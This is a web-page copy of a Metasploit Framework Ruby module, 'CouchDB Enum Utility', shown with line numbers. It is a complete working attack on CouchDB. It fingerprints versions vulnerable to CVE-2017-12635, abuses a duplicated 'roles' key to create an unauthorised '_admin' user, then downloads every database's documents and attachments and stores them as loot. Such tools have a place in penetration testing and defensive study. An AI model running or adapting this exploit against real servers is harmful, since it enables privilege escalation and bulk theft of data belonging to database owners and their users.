CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/couchdb/couchdb_enum.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'CouchDB Enum Utility',
13
'Description' => %q{
14
This module enumerates databases on CouchDB using the REST API
15
(without authentication by default).
16
},
17
'References' =>
18
[
19
['CVE', '2017-12635'],
20
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
21
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
22
],
23
'Author' =>
24
[
25
'Max Justicz', # Vulnerability discovery
26
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
27
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
28
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
29
],
30
'License' => MSF_LICENSE
31
))
32
33
register_options(
34
[
35
Opt::RPORT(5984),
36
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
37
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
38
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
39
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
40
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
41
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
42
43
])
44
end
45
46
def valid_response(res)
47
return res.code == 200 && res.headers['Server'].include?('CouchDB')
48
end
49
50
def get_version
51
@version = nil
52
53
begin
54
res = send_request_cgi(
55
'uri' => '/',
56
'method' => 'GET'
57
)
58
rescue Rex::ConnectionError
59
vprint_bad("#{peer} - Connection failed")
60
return false
61
end
62
63
unless res
64
vprint_bad("#{peer} - No response, check if it is CouchDB.")
65
return false
66
end
67
68
if res && res.code == 401
69
print_bad("#{peer} - Authentication required.")
70
return false
71
end
72
73
if res && res.code == 200
74
res_json = res.get_json_document
75
76
if res_json.empty?
77
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
78
return false
79
end
80
81
@version = res_json['version'] if res_json['version']
82
return true
83
end
84
85
vprint_warning("#{peer} - Version not found")
86
true
87
end
88
89
def check
90
return Exploit::CheckCode::Unknown unless get_version
91
version = Rex::Version.new(@version)
92
return Exploit::CheckCode::Unknown if version.version.empty?
93
vprint_good("#{peer} - Found CouchDB version #{version}")
94
95
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
96
97
Exploit::CheckCode::Safe
98
end
99
100
def get_dbs(auth)
101
begin
102
res = send_request_cgi(
103
'uri' => normalize_uri(target_uri.path),
104
'method' => 'GET'
105
)
106
107
temp = JSON.parse(res.body)
108
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
109
print_error("#{peer} - The following Error was encountered: #{e.class}")
110
return
111
end
112
113
unless valid_response(res)
114
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
115
return
116
end
117
118
print_status("#{peer} - Enumerating Databases...")
119
results = JSON.pretty_generate(temp)
120
print_good("#{peer} - Databases:\n\n#{results}\n")
121
path = store_loot(
122
'couchdb.enum',
123
'application/json',
124
rhost,
125
results,
126
'CouchDB Databases'
127
)
128
129
print_good("#{peer} - File saved in: #{path}")
130
res.get_json_document.each do |db|
131
r = send_request_cgi(
132
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
133
'method'=> 'GET',
134
'authorization' => auth,
135
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
136
)
137
if r.code != 200
138
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
139
return
140
end
141
temp = JSON.parse(r.body)
142
results = JSON.pretty_generate(temp)
143
path = store_loot(
144
"couchdb.#{db}",
145
"application/json",
146
rhost,
147
results,
148
"CouchDB Databases"
149
)
150
print_good("#{peer} - #{db} saved in: #{path}")
151
end
152
end
153
154
def get_server_info(auth)
155
begin
156
res = send_request_cgi(
157
'uri' => '/',
158
'method' => 'GET'
159
)
160
161
temp = JSON.parse(res.body)
162
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
163
print_error("#{peer} - The following Error was encountered: #{e.class}")
164
return
165
end
166
167
unless valid_response(res)
168
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
169
return
170
end
171
172
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
173
174
print_good("#{peer} - #{JSON.pretty_generate(temp)}")
175
report_service(
176
host: rhost,
177
port: rport,
178
name: 'couchdb',
179
proto: 'tcp',
180
info: res.body
181
)
182
end
183
184
def create_user
185
username = datastore['HttpUsername']
186
password = datastore['HttpPassword']
187
roles = datastore['ROLES']
188
timeout = datastore['TIMEOUT']
189
version = @version
190
191
data = %Q({
192
"type": "user",
193
"name": "#{username}",
194
"roles": ["#{roles}"],
195
"roles": [],
196
"password": "#{password}"
197
})
198
res = send_request_cgi(
199
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
200
'method' => 'PUT',
201
'ctype' => 'text/json',
202
'data' => data,
203
}, timeout)
204
205
unless res && res.code == 200
206
print_error("#{peer} - Change Failed")
207
return
208
end
209
210
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
211
end
212
213
def run
214
username = datastore['HttpUsername']
215
password = datastore['HttpPassword']
216
217
if datastore['CREATEUSER']
218
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
219
version = Rex::Version.new(@version)
220
print_good("#{peer} - Found CouchDB version #{version}")
221
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
222
end
223
auth = basic_auth(username, password) if username && password
224
get_server_info(auth) if datastore['SERVERINFO']
225
get_dbs(auth)
226
end
227
end
228
229